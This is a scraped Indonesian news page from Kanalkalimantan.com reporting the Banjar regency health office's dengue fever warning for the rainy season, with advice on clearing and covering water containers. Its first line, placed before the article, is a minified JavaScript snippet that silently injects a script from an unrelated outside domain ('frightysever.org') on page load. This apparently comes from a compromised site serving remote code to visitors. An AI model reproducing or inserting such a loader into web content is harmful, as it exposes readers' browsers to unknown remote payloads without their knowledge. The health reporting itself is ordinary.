(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Waspada Penyakit Demam Berdarah Masuki Musim Hujan


KANALKALIMANTAN.COM, MARTAPURA – Dinas Kesehatan Kabupaten Banjar meminta masyarakat waspada menghadapi perpindahan dari musim kemarau ke hujan yang sering disebut musim pancaroba.

Cuaca yang tidak menentu dari pagi hingga siang terasa panas terik namun ketika menjelang sore tiba-tiba hujan, hingga udara di malam hari sangat terasa dingin.

Musim pancaroba terjadi ketika peralihan musim kemarau ke musim hujan, yang dapat menyebabkan perubahan udara dan temperatur yang nantinya akan mengakibatkan sistem imunitas tubuh menurun.

Baca juga: Perbaikan Pipa Bocor di Jalan Pramuka, Berikut Wilayah Terdampak Seret Air 12 Jam

Ketika memasuki musim tersebut, tidak hanya sistem imunitas tubuh yang perlu diperhatikan namun perlu juga waspada terhadap penyakit yang biasanya bermunculan salah satunya Demam Berdarah Dangue (DBD).

Musim hujan atau musim peralihan seperti sekarang ini begitu sangat rentan terhadap penularan penyakit demam berdarah.

Kepala Dinas Kesehatan Kabupaten Banjar, Yasna Khairina mengatakan, ketika musim peralihan dari kemarau ke musim hujan biasanya akan dihadapkan dengan kondisi musim pancaroba. Jika kemarin musim kemarau panjang adanya penyakit Ispa, dan sekarang sudah mulai turun hujan maka harus waspada dengan penyakit demam berdarah.

Baca juga: Gubernur Kalsel Terima Penghargaan Proklim 2023 dari Menteri LHK

Ketika ada hujan dan panas, ada potensi untuk air bersih yang menggenang akan menjadi sarang nyamuk.

Demam berdarah merupakan penyakit yang perlu diwaspadai karena dapat menyebabkan kematian, dan penyakit ini ditularkan oleh gigitan nyamuk Aedes Agypti.

Baca juga: Siap Hadapi STQH XXVI di Jambi, LPTQ Banjar Silaturahmi ke Saidi Mansyur

“Untuk penanganan preventifnya kami akan lakukan penyuluhan oleh Dinas Kesehatan dan Puskesmas kepada masyarakat,” katanya, Selasa (24/10/2023) siang.

“Dengan melaksanakan 3 M di musim hujan yaitu menguras dan membersihkan tempat penampungan air secara rutin, menutup rapat-rapat tempat penampungan air dan mendaur ulang atau memanfaatkan barang-barang yang dapat menampung air hujan,” ingatnya.
(Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

6 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

6 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

7 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

8 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

8 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

9 jam ago

This website uses cookies.